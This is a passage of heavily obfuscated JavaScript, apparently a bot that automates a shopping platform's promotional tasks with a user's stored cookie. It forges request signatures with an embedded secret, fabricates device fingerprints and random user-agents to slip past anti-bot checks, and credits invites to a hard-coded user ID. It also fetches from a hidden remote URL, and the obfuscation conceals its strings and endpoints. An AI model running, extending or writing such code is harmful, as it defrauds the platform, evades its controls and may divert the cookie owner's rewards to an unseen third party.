`${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x80]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":$[__Oxef3e3[0x59]]};if($[__Oxef3e3[0x5b]]){_0xb3c0x1c= {..._0xb3c0x1c,"\x73\x68\x6F\x70\x49\x64":$[__Oxef3e3[0x5b]]}};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x82],_0xb3c0x1c);break;case __Oxef3e3[0x6e]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x83]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x64\x61\x74\x61\x54\x79\x70\x65":__Oxef3e3[0x84],"\x75\x73\x65\x64\x47\x61\x6D\x65\x4E\x75\x6D":__Oxef3e3[0x85]};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x86],_0xb3c0x1c);break;case __Oxef3e3[0x8a]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x87]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x61\x63\x74\x49\x64":$[__Oxef3e3[0x35]],"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxef3e3[0x88]};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x89],_0xb3c0x1c);break;case __Oxef3e3[0x8c]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x8b]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x61\x63\x74\x49\x64":$[__Oxef3e3[0x35]],"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxef3e3[0x8c]};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x8d],_0xb3c0x1c);break;case __Oxef3e3[0x70]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x8e]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x70\x61\x67\x65\x4E\x6F":1,"\x70\x61\x67\x65\x53\x69\x7A\x65":9999};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x8f],_0xb3c0x1c);break;case __Oxef3e3[0x71]:url= `${__Oxef3e3[0x1]}${_0xb3c0x19}${__Oxef3e3[0x90]}${$[__Oxef3e3[0x40]]|| $[__Oxef3e3[0x36]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`;_0xb3c0x1c= {"\x69\x6E\x76\x69\x74\x65\x4C\x69\x73\x74\x52\x65\x71\x75\x65\x73\x74":{"\x61\x63\x74\x49\x64":$[__Oxef3e3[0x35]],"\x75\x73\x65\x72\x49\x64":10299171,"\x6D\x69\x73\x73\x69\x6F\x6E\x54\x79\x70\x65":__Oxef3e3[0x91],"\x69\x6E\x76\x69\x74\x65\x54\x79\x70\x65":1,"\x62\x75\x79\x65\x72\x4E\x69\x63\x6B":($[__Oxef3e3[0x40]]|| __Oxef3e3[0x1])}};_0xb3c0x1a= taskPostUrl(__Oxef3e3[0x92],_0xb3c0x1c);break;default:console[__Oxef3e3[0xf]](`${__Oxef3e3[0x93]}${_0xb3c0x18}${__Oxef3e3[0x1]}`)};let _0xb3c0x1d=getPostRequest(url,_0xb3c0x1a,_0xb3c0x1b); await $[__Oxef3e3[0x2b]](parseInt(Math[__Oxef3e3[0x2a]]()* 600+ 500,10));return new Promise(async (_0xb3c0x1e)=>{$[__Oxef3e3[0x97]](_0xb3c0x1d,(_0xb3c0x1f,_0xb3c0x20,_0xb3c0x21)=>{try{if(_0xb3c0x1f){if(_0xb3c0x20&& _0xb3c0x20[__Oxef3e3[0x94]]&& _0xb3c0x20[__Oxef3e3[0x94]]== 493){console[__Oxef3e3[0xf]](__Oxef3e3[0x4c]);$[__Oxef3e3[0x19]]= true};console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${$[__Oxef3e3[0x95]](_0xb3c0x1f,_0xb3c0x1f)}${__Oxef3e3[0x1]}`);console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x18}${__Oxef3e3[0x96]}`);if(_0xb3c0x18== __Oxef3e3[0x51]){$[__Oxef3e3[0x1b]]= true};if(_0xb3c0x18== __Oxef3e3[0x5d]){$[__Oxef3e3[0x1c]]= true};if(_0xb3c0x18== __Oxef3e3[0x49]){$[__Oxef3e3[0x1b]]= true};if(_0xb3c0x18== __Oxef3e3[0x52]){$[__Oxef3e3[0x1b]]= true}}else {$[__Oxef3e3[0x1b]]= false;$[__Oxef3e3[0x1c]]= false;dealReturn(_0xb3c0x18,_0xb3c0x21)}}catch(e){console[__Oxef3e3[0xf]](e,_0xb3c0x20)}finally{_0xb3c0x1e()}})})}async function dealReturn(_0xb3c0x18,_0xb3c0x21){let _0xb3c0x23=__Oxef3e3[0x1];try{if(_0xb3c0x18!= __Oxef3e3[0x98]|| _0xb3c0x18!= __Oxef3e3[0x99]){if(_0xb3c0x21){_0xb3c0x23= JSON[__Oxef3e3[0x9a]](_0xb3c0x21)}}}catch(e){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x18}${__Oxef3e3[0x9b]}`);$[__Oxef3e3[0x69]]= false};try{let _0xb3c0x24=__Oxef3e3[0x1];switch(_0xb3c0x18){case __Oxef3e3[0x47]:if( typeof _0xb3c0x23== __Oxef3e3[0x9c]){if(_0xb3c0x23[__Oxef3e3[0x9d]]== 0){if( typeof _0xb3c0x23[__Oxef3e3[0x9e]]!= __Oxef3e3[0x9f]){$[__Oxef3e3[0x45]]= _0xb3c0x23[__Oxef3e3[0x9e]]}}else {if(_0xb3c0x23[__Oxef3e3[0xa0]]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x23[__Oxef3e3[0xa0]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`)}else {console[__Oxef3e3[0xf]](_0xb3c0x21)}}}else {console[__Oxef3e3[0xf]](_0xb3c0x21)};break;case __Oxef3e3[0x98]:;case __Oxef3e3[0x99]:;case __Oxef3e3[0x49]:;case __Oxef3e3[0x5d]:;case __Oxef3e3[0x7c]:;case __Oxef3e3[0x52]:if( typeof _0xb3c0x23== __Oxef3e3[0x9c]){if(_0xb3c0x23[__Oxef3e3[0xa2]]== true){$[__Oxef3e3[0xa3]]= [];$[__Oxef3e3[0xa3]]= _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xa4]];$[__Oxef3e3[0x54]]= [];$[__Oxef3e3[0x56]]= [];Object[__Oxef3e3[0xa6]]($[__Oxef3e3[0xa3]])[__Oxef3e3[0x8]](function(_0xb3c0x25){$[__Oxef3e3[0x54]][__Oxef3e3[0x7]](_0xb3c0x25[__Oxef3e3[0x33]]);if(_0xb3c0x25[__Oxef3e3[0xa5]]== false){$[__Oxef3e3[0x56]][__Oxef3e3[0x7]](_0xb3c0x25[__Oxef3e3[0x33]])}})}};case __Oxef3e3[0xa7]:;case __Oxef3e3[0xa8]:;case __Oxef3e3[0xa9]:;case __Oxef3e3[0xaa]:;case __Oxef3e3[0x8a]:;case __Oxef3e3[0x8c]:;case __Oxef3e3[0x70]:;case __Oxef3e3[0x71]:;case __Oxef3e3[0x6e]:_0xb3c0x24= __Oxef3e3[0x1];if(_0xb3c0x18== __Oxef3e3[0x8a]){_0xb3c0x24= __Oxef3e3[0xab]};if(_0xb3c0x18== __Oxef3e3[0x8c]){_0xb3c0x24= __Oxef3e3[0xac]};if( typeof _0xb3c0x23== __Oxef3e3[0x9c]){if(_0xb3c0x23[__Oxef3e3[0xa2]]&& _0xb3c0x23[__Oxef3e3[0xa2]]=== true&& _0xb3c0x23[__Oxef3e3[0xa4]]){if(_0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xad]]&& _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xad]]== 200){_0xb3c0x23= _0xb3c0x23[__Oxef3e3[0xa4]];if(_0xb3c0x18!= __Oxef3e3[0xa8]&& (_0xb3c0x23[__Oxef3e3[0x26]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xae]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xaf]])){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24&& _0xb3c0x24+ __Oxef3e3[0xb0]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}${_0xb3c0x23[__Oxef3e3[0x26]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xae]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xaf]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`)};if(_0xb3c0x18== __Oxef3e3[0x49]){if(_0xb3c0x23[__Oxef3e3[0x26]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xae]]){if((_0xb3c0x23[__Oxef3e3[0x26]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xae]]|| __Oxef3e3[0x1])[__Oxef3e3[0x5f]](__Oxef3e3[0xb1])> -1){$[__Oxef3e3[0x50]]= 1}};if(_0xb3c0x23[__Oxef3e3[0xa4]]){$[__Oxef3e3[0x44]]= _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xb2]][__Oxef3e3[0x44]]|| 0;$[__Oxef3e3[0x40]]= _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xb3]]|| __Oxef3e3[0x1];$[__Oxef3e3[0x1e]]= _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xb4]][__Oxef3e3[0x1e]]|| 0;$[__Oxef3e3[0x65]]= _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xb4]][__Oxef3e3[0x65]]|| 0}}else {if(_0xb3c0x18== __Oxef3e3[0x7c]){}else {if(_0xb3c0x18== __Oxef3e3[0x5d]){if(_0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xaf]][__Oxef3e3[0x5f]](__Oxef3e3[0xb5])> -1){$[__Oxef3e3[0x5a]]= true}else {$[__Oxef3e3[0x5a]]= false}}else {if(_0xb3c0x18== __Oxef3e3[0xa9]){$[__Oxef3e3[0xb6]]= _0xb3c0x23[__Oxef3e3[0x26]]|| _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0x26]]|| __Oxef3e3[0x1]}else {if(_0xb3c0x18== __Oxef3e3[0x70]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0xb7]}`);let _0xb3c0x26=0;let _0xb3c0x27=0;for(let _0xb3c0x13 in _0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xb8]]|| []){let _0xb3c0xb=_0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xb8]][_0xb3c0x13];_0xb3c0x27+= Number(_0xb3c0xb[__Oxef3e3[0xb9]])};if(_0xb3c0x27> 0){console[__Oxef3e3[0xf]](`${__Oxef3e3[0xba]}${_0xb3c0x27}${__Oxef3e3[0xbb]}`)}}else {if(_0xb3c0x18== __Oxef3e3[0x71]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0xbc]}${_0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0xbe]][__Oxef3e3[0xbd]]}${__Oxef3e3[0xbf]}`)}}}}}}}else {if(_0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0x26]]){if(_0xb3c0x23[__Oxef3e3[0xc1]][__Oxef3e3[0x5f]](__Oxef3e3[0xc0])> -1){$[__Oxef3e3[0x1a]]= true};console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x23[__Oxef3e3[0xa4]][__Oxef3e3[0x26]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`)}else {if(_0xb3c0x23[__Oxef3e3[0xc1]]){if(_0xb3c0x23[__Oxef3e3[0xc1]][__Oxef3e3[0x5f]](__Oxef3e3[0xc2])> -1){$[__Oxef3e3[0x18]]= true};console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x23[__Oxef3e3[0xc1]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`)}else {console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x21}${__Oxef3e3[0x1]}`)}}}}else {if(_0xb3c0x23[__Oxef3e3[0xc1]]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x23[__Oxef3e3[0xc1]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`)}else {console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x21}${__Oxef3e3[0x1]}`)}}}else {console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xa1]}${_0xb3c0x21}${__Oxef3e3[0x1]}`)};break;default:console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x24|| _0xb3c0x18}${__Oxef3e3[0xc3]}${_0xb3c0x21}${__Oxef3e3[0x1]}`)};if( typeof _0xb3c0x23== __Oxef3e3[0x9c]){if(_0xb3c0x23[__Oxef3e3[0xc1]]){if(_0xb3c0x23[__Oxef3e3[0xc1]][__Oxef3e3[0x5f]](__Oxef3e3[0xc2])> -1){$[__Oxef3e3[0x18]]= true}}}}catch(e){console[__Oxef3e3[0xf]](e)}}function getPostRequest(_0xb3c0x29,_0xb3c0x1a,_0xb3c0x1b= __Oxef3e3[0x75]){let _0xb3c0x2a={"\x41\x63\x63\x65\x70\x74":__Oxef3e3[0xc4],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxef3e3[0xc5],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxef3e3[0xc6],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxef3e3[0xc7],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxef3e3[0xc8],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxef3e3[0xc9]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxef3e3[0xca]};if(_0xb3c0x29[__Oxef3e3[0x5f]](__Oxef3e3[0x74])> -1){_0xb3c0x2a[__Oxef3e3[0xcb]]= `${__Oxef3e3[0x74]}`;_0xb3c0x2a[__Oxef3e3[0xcc]]= `${__Oxef3e3[0xcd]}`;delete _0xb3c0x2a[__Oxef3e3[0xce]]};return {url:_0xb3c0x29,method:_0xb3c0x1b,headers:_0xb3c0x2a,body:_0xb3c0x1a,timeout:65000}}function taskPostUrl(_0xb3c0x29,_0xb3c0x2c){const _0xb3c0x2d={"\x6A\x73\x6F\x6E\x52\x70\x63":__Oxef3e3[0xcf],"\x70\x61\x72\x61\x6D\x73":{"\x63\x6F\x6D\x6D\x6F\x6E\x50\x61\x72\x61\x6D\x65\x74\x65\x72":{"\x61\x70\x70\x6B\x65\x79":$[__Oxef3e3[0x31]],"\x6D":__Oxef3e3[0x75],"\x74\x69\x6D\x65\x73\x74\x61\x6D\x70":Date[__Oxef3e3[0x4d]](),"\x75\x73\x65\x72\x49\x64":$[__Oxef3e3[0x33]]},"\x61\x64\x6D\x4A\x73\x6F\x6E":{"\x61\x63\x74\x49\x64":$[__Oxef3e3[0x35]],"\x75\x73\x65\x72\x49\x64":$[__Oxef3e3[0x33]],..._0xb3c0x2c,"\x6D\x65\x74\x68\x6F\x64":_0xb3c0x29,"\x62\x75\x79\x65\x72\x4E\x69\x63\x6B":($[__Oxef3e3[0x40]]|| __Oxef3e3[0x1])}}};Object[__Oxef3e3[0xd2]](_0xb3c0x2d[__Oxef3e3[0xd1]][__Oxef3e3[0xd0]],_0xb3c0x2c);let _0xb3c0x2e=getSign(_0xb3c0x2d[__Oxef3e3[0xd1]][__Oxef3e3[0xd0]]);_0xb3c0x2d[__Oxef3e3[0xd1]][__Oxef3e3[0xd4]][__Oxef3e3[0xd3]]= _0xb3c0x2e[__Oxef3e3[0xd3]];_0xb3c0x2d[__Oxef3e3[0xd1]][__Oxef3e3[0xd4]][__Oxef3e3[0xd5]]= _0xb3c0x2e[__Oxef3e3[0xd6]];if(_0xb3c0x29[__Oxef3e3[0x5f]](__Oxef3e3[0x71])> -1){delete _0xb3c0x2d[__Oxef3e3[0xd1]][__Oxef3e3[0xd0]][__Oxef3e3[0x35]]};return $[__Oxef3e3[0x95]](_0xb3c0x2d,_0xb3c0x2d)}async function getUA(){$[__Oxef3e3[0xc9]]= `${__Oxef3e3[0xd7]}${randomString(40)}${__Oxef3e3[0xd8]}`}function randomString(_0xb3c0x12){_0xb3c0x12= _0xb3c0x12|| 32;let _0xb3c0x2c=__Oxef3e3[0xd9],_0xb3c0x31=_0xb3c0x2c[__Oxef3e3[0x37]],_0xb3c0x32=__Oxef3e3[0x1];for(i= 0;i< _0xb3c0x12;i++){_0xb3c0x32+= _0xb3c0x2c[__Oxef3e3[0xdb]](Math[__Oxef3e3[0xda]](Math[__Oxef3e3[0x2a]]()* _0xb3c0x31))};return _0xb3c0x32}function jsonParse(_0xb3c0x34){if( typeof _0xb3c0x34== __Oxef3e3[0xdc]){try{return JSON[__Oxef3e3[0x9a]](_0xb3c0x34)}catch(e){console[__Oxef3e3[0xf]](e);$[__Oxef3e3[0x26]]($[__Oxef3e3[0x23]],__Oxef3e3[0x1],__Oxef3e3[0xdd]);return []}}}function getSign(_0xb3c0x36){var _0xb3c0x2c= new Date().valueOf(),_0xb3c0x37=__Oxef3e3[0xde],_0xb3c0x31=__Oxef3e3[0xdf],_0xb3c0x38=JSON[__Oxef3e3[0xe0]](_0xb3c0x36),_0xb3c0x39=encodeURIComponent(_0xb3c0x38),_0xb3c0x2d= new RegExp(__Oxef3e3[0xe1],__Oxef3e3[0xe2]),_0xb3c0x3a= new RegExp(__Oxef3e3[0xe3],__Oxef3e3[0xe2]),_0xb3c0x39=_0xb3c0x39[__Oxef3e3[0xe5]](_0xb3c0x2d,__Oxef3e3[0xe4]),_0xb3c0x39=_0xb3c0x39[__Oxef3e3[0xe5]](_0xb3c0x3a,__Oxef3e3[0xe6]),_0xb3c0x3b=(_0xb3c0x31+ __Oxef3e3[0xe7]+ _0xb3c0x31+ __Oxef3e3[0xd0]+ _0xb3c0x39+ __Oxef3e3[0xd5]+ _0xb3c0x2c+ _0xb3c0x37);return {'\x73\x69\x67\x6E':CryptoJS.MD5(_0xb3c0x3b[__Oxef3e3[0xe8]]()).toString(),'\x74\x69\x6D\x65\x53\x74\x61\x6D\x70':_0xb3c0x2c}}function joinShop(){if(!$[__Oxef3e3[0x5b]]){return};return new Promise(async (_0xb3c0x1e)=>{$[__Oxef3e3[0xe9]]= __Oxef3e3[0x1];$[__Oxef3e3[0x60]]= __Oxef3e3[0x5e]; await getshopactivityId(); await $[__Oxef3e3[0x2b]](500);let _0xb3c0x3d=`${__Oxef3e3[0x1]}`;if($[__Oxef3e3[0xe9]]){_0xb3c0x3d= `${__Oxef3e3[0xea]}${$[__Oxef3e3[0xe9]]}${__Oxef3e3[0x1]}`};body= __Oxef3e3[0xeb]+ $[__Oxef3e3[0x5b]]+ __Oxef3e3[0xec]+ $[__Oxef3e3[0x5b]]+ __Oxef3e3[0xed];let _0xb3c0x3e=__Oxef3e3[0x1];_0xb3c0x3e= await getCard($[__Oxef3e3[0x5b]]);_0xb3c0x3e= encodeURIComponent(_0xb3c0x3e);const _0xb3c0x3f={url:`${__Oxef3e3[0xee]}${body}${__Oxef3e3[0xef]}${_0xb3c0x3e}${__Oxef3e3[0x1]}`,headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxef3e3[0xf0],'\x4F\x72\x69\x67\x69\x6E':__Oxef3e3[0xf1],'\x48\x6F\x73\x74':__Oxef3e3[0xf2],'\x61\x63\x63\x65\x70\x74':__Oxef3e3[0xf3],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxef3e3[0xc9]],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxef3e3[0xc8],'\x43\x6F\x6F\x6B\x69\x65':cookie}}; await $[__Oxef3e3[0x2b]](500);$[__Oxef3e3[0xfc]](_0xb3c0x3f,async (_0xb3c0x1f,_0xb3c0x20,_0xb3c0x21)=>{try{let _0xb3c0x23=$[__Oxef3e3[0xf4]](_0xb3c0x21,_0xb3c0x21);if( typeof _0xb3c0x23== __Oxef3e3[0x9c]){if(_0xb3c0x23[__Oxef3e3[0xa2]]=== true){$[__Oxef3e3[0x60]]= _0xb3c0x23[__Oxef3e3[0xa0]];console[__Oxef3e3[0xf]](_0xb3c0x23[__Oxef3e3[0xa0]]);if(_0xb3c0x23[__Oxef3e3[0xf5]]&& _0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0xf6]]){for(let _0xb3c0x13 of _0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0xf6]][__Oxef3e3[0xf7]]){console[__Oxef3e3[0xf]](`${__Oxef3e3[0xf8]}${_0xb3c0x13[__Oxef3e3[0xf9]]}${__Oxef3e3[0x1]}${_0xb3c0x13[__Oxef3e3[0xfa]]}${__Oxef3e3[0x1]}${_0xb3c0x13[__Oxef3e3[0xfb]]}${__Oxef3e3[0x1]}`)}}}else {if( typeof _0xb3c0x23== __Oxef3e3[0x9c]&& _0xb3c0x23[__Oxef3e3[0xa0]]){$[__Oxef3e3[0x60]]= _0xb3c0x23[__Oxef3e3[0xa0]];console[__Oxef3e3[0xf]](`${__Oxef3e3[0x1]}${_0xb3c0x23[__Oxef3e3[0xa0]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`)}else {console[__Oxef3e3[0xf]](_0xb3c0x21)}}}else {console[__Oxef3e3[0xf]](_0xb3c0x21)}}catch(e){$[__Oxef3e3[0x21]](e,_0xb3c0x20)}finally{_0xb3c0x1e()}})})}function getshopactivityId(){return new Promise((_0xb3c0x1e)=>{let _0xb3c0x3e=`${__Oxef3e3[0x1]}${ new Date(Date[__Oxef3e3[0x4d]]()).Format(__Oxef3e3[0xfd])}${__Oxef3e3[0xfe]}${generateFp()}${__Oxef3e3[0xff]}${Date[__Oxef3e3[0x4d]]()}${__Oxef3e3[0x1]}`;_0xb3c0x3e= encodeURIComponent(_0xb3c0x3e);const _0xb3c0x3f={url:`${__Oxef3e3[0x100]}${$[__Oxef3e3[0x5b]]}${__Oxef3e3[0x101]}${_0xb3c0x3e}${__Oxef3e3[0x1]}`,headers:{'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxef3e3[0xf0],'\x4F\x72\x69\x67\x69\x6E':__Oxef3e3[0xf1],'\x48\x6F\x73\x74':__Oxef3e3[0xf2],'\x61\x63\x63\x65\x70\x74':__Oxef3e3[0xf3],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':$[__Oxef3e3[0xc9]],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxef3e3[0xc8],'\x43\x6F\x6F\x6B\x69\x65':cookie}};$[__Oxef3e3[0xfc]](_0xb3c0x3f,async (_0xb3c0x1f,_0xb3c0x20,_0xb3c0x21)=>{try{let _0xb3c0x23=$[__Oxef3e3[0xf4]](_0xb3c0x21,_0xb3c0x21);if( typeof _0xb3c0x23== __Oxef3e3[0x9c]){if(_0xb3c0x23[__Oxef3e3[0xa2]]== true){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x102]}${_0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0x104]][__Oxef3e3[0x103]]|| __Oxef3e3[0x1]}${__Oxef3e3[0x1]}`);$[__Oxef3e3[0xe9]]= _0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0x105]]&& _0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0x105]][0x0]&& _0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0x105]][0x0][__Oxef3e3[0x106]]&& _0xb3c0x23[__Oxef3e3[0xf5]][__Oxef3e3[0x105]][0x0][__Oxef3e3[0x106]][__Oxef3e3[0x107]]|| __Oxef3e3[0x1]}}else {console[__Oxef3e3[0xf]](_0xb3c0x21)}}catch(e){$[__Oxef3e3[0x21]](e,_0xb3c0x20)}finally{_0xb3c0x1e()}})})}function generateFp(){let _0xb3c0x12=__Oxef3e3[0x108];let _0xb3c0x31=13;let _0xb3c0x13=__Oxef3e3[0x1];for(;_0xb3c0x31--;){_0xb3c0x13+= _0xb3c0x12[Math[__Oxef3e3[0x2a]]()* _0xb3c0x12[__Oxef3e3[0x37]]| 0]};return (_0xb3c0x13+ Date[__Oxef3e3[0x4d]]())[__Oxef3e3[0x109]](0,16)}function geth5st(){let _0xb3c0x43=Date[__Oxef3e3[0x4d]]();let _0xb3c0x44=generateFp();let _0xb3c0x45= new Date(_0xb3c0x43).Format(__Oxef3e3[0xfd]);let _0xb3c0x46=__Oxef3e3[0x1];let _0xb3c0x47=__Oxef3e3[0x1];let _0xb3c0x48=[__Oxef3e3[0x10a],__Oxef3e3[0x10b],__Oxef3e3[0x10c]];let _0xb3c0x49=_0xb3c0x48[random(0,_0xb3c0x48[__Oxef3e3[0x37]])];return encodeURIComponent(_0xb3c0x45+ __Oxef3e3[0xfe]+ _0xb3c0x49+ _0xb3c0x44+ __Oxef3e3[0x1]+ Date[__Oxef3e3[0x4d]]())}function getH5st(){let _0xb3c0x43=Date[__Oxef3e3[0x4d]]();let _0xb3c0x44=generateFp();let _0xb3c0x45= new Date(_0xb3c0x43).Format(__Oxef3e3[0xfd]);return encodeURIComponent(_0xb3c0x45+ __Oxef3e3[0xfe]+ __Oxef3e3[0x1]+ _0xb3c0x44+ __Oxef3e3[0x10b]+ Date[__Oxef3e3[0x4d]]())}Date[__Oxef3e3[0x10e]][__Oxef3e3[0x10d]]= function(_0xb3c0x4b){var _0xb3c0x12,_0xb3c0x32=this,_0xb3c0x4c=_0xb3c0x4b,_0xb3c0x4d={"\x4D\x2B":_0xb3c0x32[__Oxef3e3[0x10f]]()+ 1,"\x64\x2B":_0xb3c0x32[__Oxef3e3[0x110]](),"\x44\x2B":_0xb3c0x32[__Oxef3e3[0x110]](),"\x68\x2B":_0xb3c0x32[__Oxef3e3[0x111]](),"\x48\x2B":_0xb3c0x32[__Oxef3e3[0x111]](),"\x6D\x2B":_0xb3c0x32[__Oxef3e3[0x112]](),"\x73\x2B":_0xb3c0x32[__Oxef3e3[0x113]](),"\x77\x2B":_0xb3c0x32[__Oxef3e3[0x114]](),"\x71\x2B":Math[__Oxef3e3[0xda]]((_0xb3c0x32[__Oxef3e3[0x10f]]()+ 3)/ 3),"\x53\x2B":_0xb3c0x32[__Oxef3e3[0x115]]()};/(y+)/i[__Oxef3e3[0x116]](_0xb3c0x4c)&& (_0xb3c0x4c= _0xb3c0x4c[__Oxef3e3[0xe5]](RegExp.$1,__Oxef3e3[0x1][__Oxef3e3[0x11a]](_0xb3c0x32[__Oxef3e3[0x119]]())[__Oxef3e3[0x118]](4- RegExp[__Oxef3e3[0x117]][__Oxef3e3[0x37]])));for(var _0xb3c0x4e in _0xb3c0x4d){if( new RegExp(__Oxef3e3[0x11b][__Oxef3e3[0x11a]](_0xb3c0x4e,__Oxef3e3[0xbf]))[__Oxef3e3[0x116]](_0xb3c0x4c)){var _0xb3c0x2c,_0xb3c0x31=__Oxef3e3[0x11c]=== _0xb3c0x4e?__Oxef3e3[0x11d]:__Oxef3e3[0x11e];_0xb3c0x4c= _0xb3c0x4c[__Oxef3e3[0xe5]](RegExp.$1,1== RegExp[__Oxef3e3[0x117]][__Oxef3e3[0x37]]?_0xb3c0x4d[_0xb3c0x4e]:(__Oxef3e3[0x1][__Oxef3e3[0x11a]](_0xb3c0x31)+ _0xb3c0x4d[_0xb3c0x4e])[__Oxef3e3[0x118]](__Oxef3e3[0x1][__Oxef3e3[0x11a]](_0xb3c0x4d[_0xb3c0x4e])[__Oxef3e3[0x37]]))}};return _0xb3c0x4c};function getAuthorCode(){return new Promise((_0xb3c0x1e)=>{$[__Oxef3e3[0xfc]]({url:`${__Oxef3e3[0x11f]}${Date[__Oxef3e3[0x4d]]()}${__Oxef3e3[0x1]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxef3e3[0x120]},timeout:99000},(_0xb3c0x1f,_0xb3c0x20,_0xb3c0x21)=>{try{if(_0xb3c0x1f){console[__Oxef3e3[0xf]](`${__Oxef3e3[0x121]}`)}else 